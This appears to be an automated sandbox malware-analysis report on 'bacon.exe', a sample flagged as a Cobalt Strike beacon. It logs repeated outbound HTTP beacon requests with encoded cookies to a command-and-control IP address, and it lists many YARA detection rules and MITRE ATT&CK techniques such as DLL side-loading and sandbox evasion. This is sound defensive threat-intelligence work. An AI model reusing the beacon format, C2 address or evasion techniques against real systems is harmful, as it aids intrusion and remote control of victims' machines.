139	192.168.2.22	49301	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:03:00.669256926 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.22	49302	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:03:01.412143946 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.22	49303	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:03:02.729824066 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.22	49304	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:03:03.487060070 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.22	49305	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:03:04.235678911 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.22	49306	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:03:04.674901962 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.22	49307	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:03:05.851140976 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.22	49308	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:03:06.575563908 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.22	49309	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:03:07.355720043 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.22	49310	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:03:08.565356016 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.22	49311	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:03:09.227905035 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Target ID:	0
Start time:	11:01:06
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\bacon.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\bacon.exe"
Imagebase:	0x400000
File size:	289'792 bytes
MD5 hash:	D8557AA9FD2E7E2F97EABF1F28A548C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_4, Description: Yara detected CobaltStrike, Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_ee756db7, Description: Attempts to detect Cobalt Strike based on strings found in BEACON, Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_663fc95d, Description: Identifies CobaltStrike via unidentified function code, Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: Beacon_K5om, Description: Detects Meterpreter Beacon - file K5om.dll, Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: CobaltStrike_Unmodifed_Beacon, Description: Detects unmodified CobaltStrike beacon DLL, Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net Rule: Leviathan_CobaltStrike_Sample_1, Description: Detects Cobalt Strike sample from Leviathan report, Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: crime_win32_csbeacon_1, Description: Detects Cobalt Strike loader, Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, Author: @VK_Intel Rule: WiltedTulip_ReflectiveLoader, Description: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_ReflectiveLoader, Description: detects Reflective DLL injection artifacts, Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_CobaltStrike, Description: CobaltStrike payload, Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_ee756db7, Description: Attempts to detect Cobalt Strike based on strings found in BEACON, Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_663fc95d, Description: Identifies CobaltStrike via unidentified function code, Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Beacon_K5om, Description: Detects Meterpreter Beacon - file K5om.dll, Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: CobaltStrike_Unmodifed_Beacon, Description: Detects unmodified CobaltStrike beacon DLL, Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net Rule: Leviathan_CobaltStrike_Sample_1, Description: Detects Cobalt Strike sample from Leviathan report, Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: crime_win32_csbeacon_1, Description: Detects Cobalt Strike loader, Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Author: @VK_Intel Rule: WiltedTulip_ReflectiveLoader, Description: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CobaltStrike, Description: CobaltStrike payload, Source: 00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or `net view` using Net .
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report bacon.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: CobaltStrike

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Windows Analysis Report
bacon.exe